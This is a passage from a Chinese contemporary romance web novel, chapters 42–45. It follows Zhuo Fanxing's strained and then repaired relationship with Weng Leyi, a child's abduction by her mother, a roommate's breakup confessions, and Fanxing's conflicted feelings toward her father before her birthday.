卓繁星在地铁上就拉黑了倪玉城还有蒋凌洲的微信,所有剧组里的人都没有再联系过。在地铁里面她一直抱着自己,把帆布包抱在胸前,冷气太足了,直到出了地铁站被炙热的太阳一照,她才有活过来的感觉。 事后,卓繁星总不愿去回想。 很久以后她又碰见翁乐仪,那是他借钱为卓强治病的时候。她才会想一想,是啊,为什么不求救呢。 因为她怕。她就好像是圈套里的猎物,即便她说她与蒋凌洲无关,却能跳出好多人来说他们是情侣,高中的时候就在一起了。她的解释苍白无力,好像她绝不会不喜欢蒋凌洲,只有他甩了她,又浪子回头。 若翁乐仪也是这样想,或许他大概率不会这样想,他会去联系人,会帮她。可还是很难堪。 卓繁星转过身,从背后抱住翁乐仪,将额头抵在他背上。 她的手被握住,随后他转过来将她抱在怀里。她好像听见了很轻的一声叹息。 卓繁星想说她是爱他的,可这个字眼太过沉重,她怕吓坏了他。 翁乐仪握住她的手转过来,卓繁星的眼睛都是湿漉漉的。 他恐吓我,我没办法。她在心里这样讲。 “我喜欢你,翁乐仪。”她轻声地告诉他。“只喜欢你。” 翁乐仪并不满意这个答案,可是再不接受,她要哭了。 卓繁星抱住他,心头一酸。“我没有喜欢他。是他要缠着我。” 翁乐仪堵住她的嘴巴,其实他并不想听这些,有些打情骂俏的感觉。 第42章 ◎伤口(一)◎ 卓繁星醒来的时候屋里黑沉沉的,仿佛是夜里。她倒不会这样觉得,因为这一夜过的实在漫长。 她混乱的记忆里最近的还是翁乐仪要走,她巴着他不放,最后骗来一个吻,才勉勉强强睡下去。 而至于昨晚更是炸裂。 她当然可以归咎于酒喝多了,可酒品差也不是什么值得高兴的事。 卓繁星疲惫地眨了眨眼睛,干涩的眼眶提醒她昨夜流出了多少液体。身体全部陷在被子里。顾名思义,她的身体下面是被子,上面也是被子。至于床单 卓繁星坐起来。 脑海里闪过一个片段,翁乐仪试图换床单,可她根本不肯松开他。她不要被子,像不肯穿衣服的孩子。翁乐仪只能抱住她,强硬地让被子像睡袋一样裹着两个人。 翁乐仪回来的时候,卓繁星刚刚从烘干机里把那条洗干净的床单拿出来。 她穿着一条粉色棉质内裤,上身套了一件灰色的打底衫,短发还带着吹干的毛躁。 卓繁星没想到他会回来,有些古怪地看了他一眼,没说什么,匆匆跑回房间去套上裤子衣服。当时洗完澡出来,看见凌乱的床,第一反应就是把被单拆了拿去清洗。 今天的天也不好,阴沉沉的,时不时落点小雨。 卓繁星再出去,翁乐仪将买好的早饭放在桌上。 “你不是出差吗?” “下午的飞机。” 卓繁星愣了下,暗道自己脑子果然还是不清醒。洗衣机滚筒的声音一下又一下,轻微而又清晰地传递过来,成了餐桌上的背景音。 这顿早饭索然无味,卓繁星尚不知自己低落些什么,就好像看见外面的阴天,心情就更差了几分。然而这实在毫无道理。 翁乐仪将她送到工作室,分别的时候,卓繁星说那我走啦,就要开门下车。 翁乐仪抓住她的手,她有些疑惑地看他。 翁乐仪确实有些困惑,他能感觉到她莫名的低落。 “卓繁星。”他轻轻念出她的名字。 卓繁星不想折磨他,她只是觉得尴尬,为昨天晚上那个哭着黏着他的姑娘。她不该或者说不习惯把内心的自己展示出来,她向来很少去剖析自己。 而昨天那个人抱着他,缠着他,感情外露,毫不知遮掩。 她说:“我喜欢你。好喜欢你呀。” “你不喜欢我。” “你说我有病。” “你怎么能这样说我?” 活像个神经病。 卓繁星觉得这样的曝露让她有种当街裸奔的羞耻感,如果要做个比喻,就好比她同样拉着卓强说:“爸爸,你为什么不来接我回家。”每喊一声,精神上的羞耻感就更深一分。 说不定翁乐仪会觉得没什么,这只是恋人间的情趣。 不,卓繁星不想这样。 唯一庆幸地是没有说出那句:“我喜欢你好多好多年。”她会有种当痴汉的羞耻感。她甚至不确定他会觉得愉悦多一些还是惊悚多一些。 总之,都怪酒啦。 既然无法解释给他听,那只有让事情过去。 卓繁星倾身抱住他,说我会想你的,并告诉他这几天她要回租房住。毕竟多天未归,总是要打扫整理一下。 夜里她回到家,邵丽丽也在,她如今成了上班族,生活规律许多。她建议晚上吃火锅,两人点了些菜肉,就在家里烧着吃。 邵丽丽说起她自己的事——那些办公室里的狗屁倒灶的事——总是很富有讲述的技巧。卓繁星很佩服她这样的能力。 她说:“前两天,让我负责邮件的整理,然后叫我翻译,我会翻译什么,她怎么不干脆叫我直接上天。” “那你翻译了吗?”卓繁星靠在水池边问她。 邵丽丽洗着白菜一下笑出来。“怎么没翻译。我复制到微信里面,有自动翻译的。” “那种能用?” “当然不能了。反正我不管,我交给她,我怎么晓得她看都不看,心那么大。后来就被批评了呗。” “批评你?” “算吗?反正她被骂的更狠。那个老板,就是我跟你说的小矮个,把她叫到办公室骂了一通。噢,她还把我叫进去。老板怎么说你都不晓得。”她描述地绘声绘色。“她做什么的,你不清楚?你交给她来做。她拿多少工资,你拿多少?” “他看我的眼神像看一个智障。”邵丽丽不屑地嗤了一声,仿佛又回到那天办公室里的场景——男人穿一条黑色西装,板寸脑袋,浑身上下也就皮肤白一个优点,眼睛和他的嘴巴一样刻薄。 卓繁星问:“那你为什么不找洪旺帮忙?”他的外语水平应付这些肯定是小意思。 邵丽丽稍微愣了下。“我不喜欢他看我像白痴一样。”她现在看他仍有滤镜,知识分子的光环,可这也不代表她喜欢被鄙视。来自恋人的更加不堪。尤其洪旺还不会似那矮个老板一样表现直接,他或许是沉默许久,咂一下嘴,无奈地扬一扬眉毛,再屈尊降贵地发过来。 邵丽丽打断这些不愉快地联想,说:“你说我有没有必要学一下英语?” 卓繁星说:“为了工作吗?” 邵丽丽又卡顿了一下。“他们英文都说的很溜,还会有法语、日文。”她曾在送咖啡的时候,看见老板躺在吊床上讲法语。她听见了一句你好,后来知道他在法国念的书。 “有这样的想法就去做,学到自己身上总是没有坏处的。” 邵丽丽说:“好像是这样。不过我老是三分钟热度。” 她说起她妹妹。“她读书比我好。我圣诞那天想去看看她。” “那天是周六。” “是呀。我还没去过她学校呢。” “我还以为你会和洪旺一起过。” 邵丽丽说:“她好像谈恋爱了,我有点担心。” 卓繁星拍了一下锅里热气腾腾的食材,想发给翁乐仪,他在半个小时前发来问她晚饭吃了吗。 “繁星。”邵丽丽突然叫她,卓繁星疑惑地看她。 “我觉得你别太认真了,洪旺说翁总不会留在Y市的,说不定什么时候就走了。他们这种人,恋爱和结婚是不一样的。” 卓繁星第二天才回复翁乐仪。 后续聊天也是多是这样,会间隔许久。翁乐仪打过一个电话,并未接通。等卓繁星再拨过来,开头便问有什么事。 他抿起唇,听见对面杂乱的童声,卓繁星很快便说:“回去再说吧,我先挂了。”之后便再没有消息。 为什么夜里亲密无间的两个人,次日就变得陌生。翁乐仪在工作的间隙,试图去想这个问题。然而他把那天的事从头到尾都想一遍,依旧毫无头绪。 他在阳台抽着烟,手机里卓繁星的聊天界面还维持着两天前的对话。 这日下午的课结束,卓繁星看见翁乐仪的信息。说在楼下的圣诞树等她。卓繁星坐电梯下去,天已经暗了,树上的灯密密麻麻地亮着,十分梦幻。 翁乐仪穿着一身黑,黑色冲锋衣、黑色运动裤加一双黑色运动鞋,因为个高身板挺直,免不了引人注意。 卓繁星倒不似微信里的冷淡,仿佛没有那些事,他们还和往常一样。其实这是卓繁星的能力,那些坏情绪全都被她收拾干净,锁起来。微信上主动发起聊天似乎变得尴尬,可他如今都到了面前,她早就恢复以前的模样了。 她小跑过去,脸上带着微笑,虽是克制的,但不能说不快乐。 翁乐仪一个人坐在排椅上,手上拿着手机,时不时滑两下。卓繁星走到他后面想蒙他眼睛,手刚伸出去,他扣住一只,扭头看见她,有些诧异。 “回来啦。”她眼睛亮亮地望着他,脸上粉红。 翁乐仪又困惑起来。“嗯。Luna的店做了圣诞装饰,请我们去玩。” “我在她朋友圈见了,确实很漂亮。” 卓繁星像以前一样去牵他,可他往前走,错开了。 卓繁星愣了片刻,将手缩回自己的口袋,又免不了把脸往围巾里埋了埋。 一路上,卓繁星说工作室给每个小朋友买了圣诞玩偶,何安琪约了甜品摆台,还找了一个做棉花糖的,那天会很热闹。工作室里剩下一些圣诞贴纸,她拿回来一些,都贴在租房的玻璃窗上了。陈女士要带Bella去迪士尼过圣诞 翁乐仪的反应堪称平淡。当然她说的的确不是什么很有趣的话题。 在一个停车的路口,他去摸索一瓶薄荷糖,卓繁星趁机抓住他。 就像个甩不掉的牛皮糖。 翁乐仪看了她一眼,卓繁星果断选择避开,只是仍不肯松手。 “为什么这样?”他在沉默了十几秒后开口。 卓繁星还在挣扎。“什么?微信么,是这两天太忙了。” 翁乐仪一下将手抽开,侧脸十分冷峻。 又安静了一会儿,卓繁星讷讷道:“如果累的话,不一定要今天去Luna那边的。” 翁乐仪没有回答,只是翻出薄荷糖,倒了两颗在嘴里,然后面无表情地咬着。 车内的环境如同死寂,这时卓繁星的手机响了,像是一根弦突然绷断了,眼见着它越来越紧,如今倒给人一种如释重负的感觉。 第43章 ◎伤口(二)◎ 电话是潘潘打来的,她在那头的声音显得慌乱。 “繁星姐,嘉嘉不见了。” 卓繁星赶到工作室的时候,李阿姨已经哭过一轮,眼睛又红又肿,手脚发抖。 嘉嘉是在游乐园不见的。这是在工作室楼下的一个儿童乐园,每次课上完,会允许她在里面玩半个小时。家长都是在外面等的,李阿姨就去接了个电话,回来就找不见她人了。 “联系齐先生了吗?”卓繁星问潘潘。 “联系了,那边没接电话。” 卓繁星问:“游乐场没监控吗?” “那边监控坏了。”讲起这个事潘潘就糟心。“大厦那边的监控是物业管着的,他们说要等警察过去。我估计没人,吃饭的点了,他们怕麻烦。” 翁乐仪说:“我问问齐帆是不是还在公司?” 警察很快过来,工作室的监控也一并调取出来。 孩子确实是在上课结束后离开的工作室,后来几个楼道的监控显示李阿姨带着她下电梯,往游乐园方向去,后来监控也拍到了她,有个女人牵着她,可是这个人带着口罩,李阿姨也说不认识。 齐帆也终于联系上,听到消息,人懵了一下。 “肯定是我前妻,就是她!先前她找过我,她后来生的小孩得白血病了,要做配型,她想叫嘉嘉试一试,我不同意。”他在电话那头喊,看见模糊的监控照片更是确信无疑。 他人一到,脑门上都是汗,额头两侧青筋鼓出来,像是差一点就要戳破皮肤。他看着监控里的画面,脸上泛出不正常的红,两只手撑着桌面,气喘如牛,整个人都在发抖。 齐帆和前妻早就没了联系。早几年嘉嘉刚出生的时候,偶尔还会有一两个电话,可是她现在的丈夫介意,再加上后来她自己又生了孩子,就不怎么上心了。 警察很快联系上人,还有她丈夫。嘉嘉已经坐上高铁,到了临市的高铁站才将人给截住。齐帆根本等不了,一听说女儿的位置,就驱车赶过去。 所幸只是虚惊一场。 “今天太晚了,Luna那边下次再去吧。”卓繁星同翁乐仪说。 卓繁星觉得有些累,或许明天,她可以和他道歉,然后好好地同他讲,可以撒娇,可以卖乖,今天就算了。 翁乐仪说:“我送你。” 卓繁星没有拒绝,两人安静地坐上车,车子开到她家楼下。卓繁星有心想同他亲近一下,或者说几句,总之不要显得那么疏冷,可哪样做起来都有些不合时宜。 他们之间的关系好像突然间退化到了刚认识的时候,不,也不太对。谁会对一个陌生人这样,不知如何是好。 总之,明天再说吧。 卓繁星说:“谢谢,回去慢点开。” 她让自己尽量自然地下车,却又不回头。车门合上的瞬间,她就向着公寓楼内去了。脑子好像只能单线程思考,让她不愿去想,就按照最简单的路线去执行——你是不是要回家?那就赶紧进去,刷门禁卡,上了电梯,按上10层按钮,然后开门关门,上楼梯,你就可以安心了,只有你一个人。 卓繁星正是这样做的。 邵丽丽还没回来,这让她在进门的一刻就呼出一口气。 工作小群里,关于嘉嘉的信息还在更新。 潘潘:【简直离谱。那个女的怕孩子闹,给她喂了药,嘉嘉上了动车就一直睡着。】 小余:【震惊!一言难尽,孩子吃药不会有副作用吧。】 潘潘:【不晓得呀。家里人心疼死了。那个女的就是利用嘉嘉的善良,李阿姨路上跟我说,近段时间嘉嘉老提起,说什么妈妈给她买玩具了,还说要来看她什么的,她那个时候就觉得不对劲,可也不好说什么。】 何安琪:【也不知道她怎么想的,两个小孩儿又不是一个爸爸,配型的概率很低吧。而且嘉嘉还那么小,怎么忍心。这个年纪已经记事了,以后想到亲妈做这样的事,不知道要多伤心。】 潘潘:【撇撇嘴,父母又不要考试,新闻上离谱的还少吗。还好嘉嘉爸爸还是很爱她的。】 何安琪:【你回头记得再打个电话过去,多关心关心。】 潘潘:【知道知道。】她圈了一下繁星,问:【到家了吗?】 繁星:【到了。】 潘潘:【差点忘了,我今天看见繁星姐的男朋友了。】 群里接二连三冒出几个脑袋,卓繁星暗灭手机,突然觉得很难受,她在冰箱里只找到一桶酸奶。这是邵丽丽买的无糖希腊酸奶,实在算不上好吃。可再不塞点东西,她感觉要憋死了。正吞咽的狼狈,邵丽丽回来了。 “楼下是翁总吗?”她一进来就问。“你在干嘛?”看见她这幅样子吓了一跳。 “什么?” “……我远远看了一眼,在下面抽烟。” 卓繁星搁下勺子,匆匆套了外套下去。翁乐仪站在不远处,靠着车,手里还有一截快抽完的烟。 外头很冷,风刮的狠,呼呼的,地上的树影子乱摆,把他的头发也吹乱。他指间那点火看着极为微弱,飘出的白烟会从他吐息间扩散出去,模糊了五官。 看见她下来,翁乐仪直起身,说:“刚有个电话,我抽完这支就走。” 卓繁星说:“你晚饭呢?” “路上买点。” 翁乐仪咂着唇,有一些苦涩,混着薄荷的味道。“你上去吧。”他这样对她讲。 卓繁星看他一眼,紧了紧身上的外套,站到他身边,同他一样靠着车。刚吃下肚的酸奶还堵在喉咙眼儿,一种黏腻的石灰一样的质地。或许正是这样的感觉,叫她说不出话来,生怕说多了就要吐出来。 烟抽完了,他看向她,风把她耳朵都吹红了。 翁乐仪把副驾的车门打开,卓繁星默不作声地过去。 “想吃什么?”车上,他问她。 卓繁星摇头。“我不是很饿,你按你自己的来。” 车子进了地库,卓繁星恍然说了句:“真快。”明明从他家到她的租房要四十几分钟的车程。 她解开安全带,身边的人显然更快,啪嗒一声,金属扣松开。卓繁星尚来不及反应,便被他抱在怀中。她轻轻扯了扯他的冲锋衣外套,硬挺的面料抓在手里有些滑,让人不自觉便攥紧。 翁乐仪不说话,一时间只有两个人的呼吸声默默地仿佛在回应对方。 卓繁星无声地张开唇,尝试将泪意憋回去,像一条用嘴呼吸的鱼。然而还是徒劳。眼泪就像小溪,源源不断地从她的眼眶里流出来,最终消失在领口。 翁乐仪或许感觉到了,略松开她,卓繁星就像应激一样抓的更紧。 他们就这样抱着或许十分钟,或许只有五分钟。总之松开的时候,依旧安静,像是两个不会说话的人。 而在下车后,翁乐仪像平常一样牵住她。 电梯门上映出两人的影子,卓繁星看的怔怔,恍惚与门上他的影子对视。 她感觉自己仿佛又回到了单线程的思考,可是那种感觉不似先前的麻木,更像是泡在温泉里,泡久了,人便昏昏然要睡去。 她觉得自己想要拥抱他,然而直到在餐桌前坐了好一会儿,才走过去这样做。 翁乐仪在厨房煮面,听见声音看了她一眼,说:“我烧了方便面,你等下吃点。” 屋内暖气开着,他脱了外套,就穿了件白衬衫,扣子解开,带了几分随性,一只手拿着筷子,搅了两下锅里的面,问她:“要加蛋吗?” 刚出口,背上贴上来一个温软的身子。小腹上两只手交握,牢牢环着他。他顿了片刻,空下来的手握住她的,锅里的水噗噗滚着,一时间屋内只有这个声音。 “要加蛋吗?”不知过了多久,他终于想起来了刚刚的问题。 “不要,要你。” 卓繁星抵着他背的脑袋像是一只小钻头,钻啊转啊,就那么轻而易举地从他的肌肉里钻进去。 室内的温度渐渐升高,锅里的面终究是无人在意。 卧室里,卓繁星闭着眼睛睡着了。 她睡得很安稳,嘴巴微微嘟着,脸色粉嫩,像一朵刚刚绽放的桃花。脑袋上被汗浸湿的头发变成了亮黑色,在额头上调皮地贴着。 翁乐仪看着怀里的人,在她那条疤上轻轻婆娑。 翁乐仪想起与她的几次交集,似乎都与她爸爸有关。 不去赘言早前在吴家院子的相遇,更早的时候他与她在那次荒诞的告白后许久未见,在医院碰到她的时候,她蹲在楼梯间哭,麻木安静的哭,看见他的时候才有些慌乱。 还有更早,高中的时候,她爸爸到学校里来找她。 那天下了雪,天上雪花飘着荡着,优哉游哉的,却很冷。翁乐仪刚从网吧出来就听见女孩儿冷淡的声音。 “你别来找我了,我不想见你。” 他低头看了一眼,见是她稍显诧异。 “灿灿,爸爸就是想到马上是你生日。” “我不需要!你能不能别这样突然出现,我一点都不开心,你现在对我来说就是个陌生人。别这样行不行?自我感动吗?” “你是不是没钱了?你说实话。我没钱给你,我现在还在念书,我没有钱的。” 这是他头一次听她这样讲话,她一贯在他印象里是个安静乖巧的人。 很快下面传来渐渐远去的脚步声,过了一阵,又听见几声细弱的哭声。 他看见卓繁星蹲在地上,头发上沾了雪,边上一只破开的蛋糕盒,蛋糕滚出来,几颗罐头樱桃落在雪地里,格外显眼。 他也不知怎么就看了半天,看见她拾了一颗塞进嘴里。 那天的天是青灰色的,巷子里的光线有些暗,雪地里的有一串凌乱的脚印,他趴在栏杆上,脚踩着台阶,踢了一捧雪下去。 掉地上了还吃,脏不脏。 窸窸窣窣的雪和盐粒一样落在她身上,她惊慌地抬头看,却只看见一个黑色的影子。 第44章 ◎生日(一)◎ 卓繁星醒过来是听见翁乐仪换衣服的声音。她有些迷糊地睁开眼,看着衣帽间的方向。翁乐仪从衣帽间出来,正在扣袖子上的扣子,看见她醒了,走到床边,在她额头上贴了贴,捋了捋她的头发。 他停顿了一会儿,卓繁星都有些不明白了。 “干什么?”她这样问他。 翁乐仪摇头,他怕某人一觉醒来又变成先前那样。 “晚上去Luna那边吃饭。” “我晚上有课。” 翁乐仪想了想说:“那过两天吧。” 他低头亲了下她额头,卓繁星一下缩回被子里去。她脸上有油哎。 卓繁星再去工作室果然遭受了不少调侃。潘潘说:“繁星姐不声不响,结果一出手就是个大帅哥。这种好事怎么不带上姐妹我呢?所以在哪儿找的?”她星星眼吧唧吧唧望她。 “我们是同学。”卓繁星被逗笑。这个回答不错,可比后来的缘分好像靠谱多了,能堵住不少问题。 潘潘果然kao了一声。“同学会再碰见的?那我要不要去啊下次,可是我们好像没有组织同学会的。” 何安琪说:“你还不如让她男朋友给你介绍一个靠谱。” “是哦,繁星姐,有帅哥吗?我要帅哥。你男朋友那种我高攀不起,有一半就行。” 卓繁星认真点头:“回头我给你问问。”她摸了摸她脑袋,有种看妹妹的感觉。 嘉嘉这周的课都不过来,卓繁星说:“孩子是有什么问题吗?” 潘潘说:“我和她爸爸联系过,应该没什么问题。这个到底是他家家务事,我也不好多问。” 何安琪说:“工作室今后不要谈这件事了,等会儿开会的时候我也会强调一遍,家长肯定是怕闲言碎语太多。” 周末的时候,翁乐仪有一场高尔夫比赛,是俱乐部组织的小型赛事。他公寓里就有一个室内场地,卓繁星还去玩过。 球场离他家并不远,能在临近市中心的地方圈这么大一块地可见不是随便什么人都能进来的。卓繁星甚至不知道Y市还有高尔夫球场。 卓繁星穿了一套宽松的运动服,在去尝试拿翁乐仪那只包的时候,活像个跟在他后面的球童。 “少爷,您请。”她力气还是可以的,只是这只球包太大了。 翁乐仪把自己的帽子摘下来,罩在她头上,卓繁星就更像了。 “有奖金吗?”她眼睛全给罩住了,鼻子在看他。 “第一名五千。” “那还不错。” “但是要请所有人吃饭。” 卓繁星啊了一声。“那还是算了吧,咱们不要了。” 到了球场,卓繁星没想到会碰见乔诗晴,最后一次碰见也就是上次老板过生日的时候,微信上倒是时常刷到她。 “卓繁星?”她也很意外。她不似卓繁星纯业余,带着手套,模样俏丽。“好久不见呀。你一个人来?” 卓繁星想了想说:“和男朋友一起过来。”她实在不像会无缘无故出现在这里的人。 “男朋友?哪个啊?”她目光投向场中,年纪轻的有,不过不多。 卓繁星说:“穿红衣服那个。”今日,翁乐仪难得穿了一件红色高领卫衣,有些张扬的耀眼。 乔诗晴果然一眼就找见,眼神有些意味地看她。“眼光很好哦。” “是Y市人吗?做什么的呀。” 卓繁星说:“做电池这块。” “噢,工程师呀。那也很不错,现在这方面很吃香的。” “你呢?是来比赛吗?”卓繁星问她。 “我也陪我男朋友过来。喏,就是那个,上次何姐生日的时候来过。噢,我忘了,你那时候好像没在。他是做牙医的,市里最好的私人口腔医院你知道吗,就是他家的。” 卓繁星看了一眼,是个穿黑色polo衫的男人。那边翁乐仪摘下手套,刚好往这边看了一眼,卓繁星朝他挥了挥手,他轻轻笑了一下。 “玉成传媒有没有联系你?”乔诗晴突然问。 “谁?” “倪玉城那个选角团队,你上次那个跳舞的视频他们官网转发了呀。他不是在筹备新的电影吗。” 卓繁星说:“我没有这个想法,就让何姐帮我推掉了。” “那太可惜了呀。”乔诗晴感叹:“你呀,就是个淡人,搞的我们都很俗气哎,hh,所以何姐才喜欢你呀。” 返程的时候坐在接驳车上,她男友邀请道:“难得碰见一起去吃点,附近有家日料店,我朋友开的,特别讲究。” 乔诗晴趴在卓繁星后面,也这样讲。 翁乐仪说:“今天不巧,我和我女朋友约好了,下次吧。”他客气颔首,带着卓繁星离开。 这也并非借口,他们说好了要去Luna那儿。 翁乐仪将那个第三名的奖金牌子给她,卓繁星抱着笑。“要不要发个朋友圈?” 翁乐仪心情很好,帽子摘了,微湿的头发向后捋,眼睛里神采奕奕,比往日更活泼。更何况他今日穿了一件红色的卫衣,愈发像个大学生。剪裁利落的衣服版型将他的肩膀衬的宽阔平直,高领正挡在喉结上,上下动一动就很诱人了。 卓繁星拿出手机拍了一张,又叫他拿着奖金牌子再拍一张。她欣赏完了,他把她拽过来,拿着手机拍合照,后来又在她侧脸亲了一口。 不同于上次在Luna餐厅拍的,这次两个人眉眼里都是扑出来的笑意,他眼睛亮的像只小狗,清澈又热情,还是身板很大的那种。 卓繁星靠在他怀里,鼓鼓的胸肌热力澎湃。她想起自己第一次在家看他健身的样子,带着耳机,汗水淋漓,面无表情。衣服撩起来擦眼睛上的汗,腹股沟上的汗珠呲溜滑下去。 卓繁星坏心思地把手伸到他衣服里。 翁乐仪显然没料到她会这样。卓繁星的手可凉多了,他腹肌立刻收紧。不过他很快就镇定下来,卓繁星感觉他那边的座椅在往下降,回撤的时候就被他抓住了。 “要不不去Luna那儿了。” “不行!说好的。” “那你招我。”他挑眉,一只手垫在脑后,多了几分玩世不恭。 卓繁星在Bella家的工资到账了,她非常大气地对翁乐仪说她来请客。翁乐仪笑着说:“那这1000块就还我吧。” 卓繁星切了一声。“还没到账呢。” Luna餐厅的圣诞布置极为显眼,两层的小楼上一只硕大的灯饰蝴蝶结吸引着路人的目光,上面垂下许多星星灯条,透过玻璃窗,一眼就能看见店内的圣诞树。卓繁星同上次一样跑去楼上,她在她朋友圈见了一条项链很喜欢——细金链条,下方挂着着一颗星星。不知道价格如何。 一问,果然不便宜。 “能打折吗?” Luna考虑了一下说:“如果小翁愿意给我当模特的话。” “那还是算了。” “喂。”她无奈地翻了个白眼。 卓繁星笑着说:“他肯定不肯的。” “我给你包起来,要挑盒子吗?” 在打丝带的时候,她突然说:“你朋友最近还好?” “朋友?邵丽丽?” “对。”Luna点头。“我听到一些消息,她好像遇到一些不好的事。” 她将洪旺与她分手的事说,卓繁星这两天都没有回去过,自然不知道什么情况。那天出门的时候她看着都好,她在微信上问她在家吗,那边很快回到:【在,有事?】 卓繁星想了想还是赶回去。 客厅茶几上摆着几份外卖,邵丽丽吃惊地看着她,赶紧把手里的烟暗灭在啤酒罐里。 “你怎么回来了?” “回来拿点东西。” 邵丽丽把窗户打开一些,卓繁星看见她越发瘦了,可是脸上浮肿,精神并不好。 “你今天没上班?”她走过去,目光扫过那一堆空酒罐。 “别提了。倒霉死了,被之前那个大婆缠上了。” “大婆?” 她看了她一眼。“就是做宠物用品的老板娘。” “怎么会这样?” “我怎么知道。巧了吧。她家想做一些自媒体营销,然后就找上我这家公司了。这样看她家生意不错哎,我们报价老高了。” “这是重点吗?”卓繁星很是无奈。 邵丽丽往沙发上一躺。“反正她就是看见我了呗,然后么嫌我晦气。” “你们老板要辞掉你?” “他倒没这么说,可也要我呆的下去噢。”她撇撇嘴。“老娘早就不想呆了,就是我报了个口语班呀,现在钱也不好退了。不过这个钱是洪旺付的,我也不吃亏。” 卓繁星说:“那洪旺知道吗?” “他没理睬我了呀。”邵丽丽讲。“我能预料到的啦。他同那个赘婿完全是两种人,那个怂男都看我不上的,他,我不指望的。能捞点么是一点咯。他生的也不难看。哪有那么好的事呀,又睡帅哥,又拿钱,享受个个把月么很好了呀。你看我干什么呀?” “看你嘴硬。” 邵丽丽瞪她一眼。“那你要我怎么样?哭给你看?” “那你之后工作怎么办?” “杰米哥那边还有联系的呀,有活就做。那种公司里面也没意思的,一个个拽的和什么一样,我融入不进去的啦。实在不行,我找个美甲店上班去,我最早时候就干这个的。美容销售也行,不过我怕自己忍不住钱全花里面了。总是活的下去。” 她话音低落,还是叹了口气。“其实我先前是动过心的啦,那天我在剧组里面晕过去,他过来接我的时候,我是真的心动。不然谁要去他说的破公司,我就想着改变一下,万一呢。他们这种人家要找对象起码也得是个小白领吧,不好像我这样的。” “我十七岁的时候,我爸就找人上门来相看我了,得亏我跑的快。” 卓繁星看着她迅速红起来的眼睛,里面的血管一下被填满,像是给泉眼蓄水。 “不用这样看着我,我都习惯了。”邵丽丽一笑,起来喝了口酒。 卓繁星顿了许久,讲起自己的事。 邵丽丽说:“那你还是跟我比吧。”她打了个嗝。“我爸从小就觉得我不是他亲生的,他在外面打工那年,我妈生的我,他觉得我是她和邻居搞在一起生的。我们那边头一个女儿还能再生一个,他又不好换老婆咯,就再生了我妹妹。他把我妈打跑了,后来再没人肯跟他过日子了,他只能指望两个赔钱货了。” “我还是很羡慕你的,繁星。”她怔怔望着她,不晓得是不是喝醉了。“你比我干净呀。” 第45章 ◎生日(二)◎ “干净?都什么年代了,还能说出这样的词儿。”卓繁星望着她,好叫她明白这样讲实在是看低了自己。 邵丽丽瘪瘪嘴,喉咙滚了滚说:“反正就那意思。” “什么意思。你以前做错了事,选错了路,也吃了亏,受了罪了。往后不犯就是了。” “有这么简单?” “不然呢。你是杀人了还是放火了。”卓繁星推了她一下。“你自己不是说了,男人靠不住,是不是老和我讲的。” 邵丽丽喷笑出来。“是靠不住。可要是能叫我靠一下,多捞一点是一点。洪旺要是真是个没钱的,你看我看他不。”她耍混道:“我就这样,我吃了亏我也没改好。” “我就是看的透透的了。你说他们那样的消费,我就是再怎么努力,除了靠他们,我能够的到?那一只包多少钱,我半年工资都够呛。” 卓繁星说:“你试过了?” “怎么没试过,你以为那圈子那么好混。新鲜的小姑娘一茬一茬地往外冒。” “可是我们就是普通人呀,有几个能和他们一样。” 邵丽丽喝一口酒。“我明白。我就是心比天高,命比纸薄。不踏实。我知道的,我就是没学好。” 她朝她笑笑,有些可怜地撒娇意味。 “是那圈子里有钱人太多了,看的我眼花缭乱,脑袋也不清醒了,以为自己和他们一样。其实人家都不拿正眼看你。” 卓繁星见她又绕回去,没再讲。 每个人经历都不一样。她经常觉得自己很拧巴,看邵丽丽的时候羡慕她潇洒,做事果断。当初在医院里,她刚动完手术,都能掀帘子和人翻脸。这事儿搁她身上,可做不到。可后来,她觉得她也挺拧巴。 正是知道拧巴是一种什么样的感觉,她才不去劝了。因为她自己都明白,要过自己那关有多难。跟膝跳反应一样,控制不住。 卓繁星很快又要拧巴一次。她生日快到了,卓强每年这时候都会给她打电话。 他问她下周回不回来。 卓繁星正在上课,说:“有什么事?下周不一定有空。” 那头的声音像是搓着手再讲,局促极了。“不是你生日快到了。我叫你程姨烧桌菜” “过什么生日?”他立马就被打断了。“我有没说叫你别折腾了。我忙着呢,挂了。” 然后这一整天胸口就和堵了块石头一样。 程霞的电话隔了一天就打过来。“灿灿。你和你爸说啥了?他这两天夜里睡不着,凌晨2点多就爬起来。我看着吓人,就坐那儿电视机放着。他这两天血压也不好,不知道是不是天冷了。他这两天脸黑的呀,气色一点都不好,我看了就心慌。” “这话阿姨不该讲,可是你爸身体不好,你稍微注意一点。他就你一个女儿,嘴上不说,就惦记你。” 卓繁星刚卸下石头,一顶帽子又扣了上来。 她总是很佩服程霞,她能忍卓强的贫穷,能全心全意地照顾他,就是病重那几年,她在病床跟前端屎端尿,毫无怨言。也是她,找到学校来,跪在她跟前说:“灿灿啊,你救救你爸爸吧。现在只有你能救他了啊。” 卓繁星都不敢想把她替换成姚馨雅会怎么样。她有时候想幸亏她跑的快,她可真聪明呀。每当这个时候,卓繁星就觉得她到底是她生的,一样的冷情,一样的嫌弃这个男人。 卓繁星的拧巴就在这儿。 她感觉这是因为她同时又有了一半卓强的基因——窝囊。这使她不上不下,既做不了完全的恶人,又没办法骗自己,生生膈应住了。 卓强怎么就不能再生一个,也好叫程霞不要每次都将这句话端到她面前。 卓繁星的拧巴伴随了她二十几年。她后来就意识到这不是一个聪明的行为,可要是真是聪明地去做了,那她自然就不拧巴了。可真是一个悖论。 总之,卓繁星嘴上硬,没有松口回去,到了周二休息,仍是坐上了回乡的小巴。 小镇上游人冷清,石板路被雨淋的亮堂堂泛着冷光,桥边银杏树的叶子也落了大半。吴家院子大门合拢,她绕到后门进的院,院里不知道什么时候养的大黄狗,见着生人吠的欢。 “哟,我说谁呢,灿灿来了。你爸还说你不空来。”王妈跑出来看,一巴掌招呼在狗脑袋上。 “这是福福。上个月我女儿送来的,他们一时兴起,后来没工夫管它,让我给牵回来,结果阿叔喜欢的不得了,就养着了。你看,你爸还给它搭了个窝,特别结实。他这个手艺真是没得说。” 还没进屋,她就远远叫起来。“卓强,程霞,灿灿来咯。” “灿灿。”卓强又高兴又局促,看见她两只眼睛就发亮。 卓繁星不知道该怎么形容,她瞬间就有点烦他了。 这不是第一次。 夜深人静的时候,卓繁星会想,或许是一种惩罚。她想要卓强羞愧,让他面对她不知如何是好。多可悲呀。她知道自己不是一个善良的人。她会问自己即便这样做又能得到什么?为什么不离开呢,离开Y市,反正你也是一个人。 卓繁星不敢承认,她其实依赖着他。 要是不在这里,她真的就是一个人了。 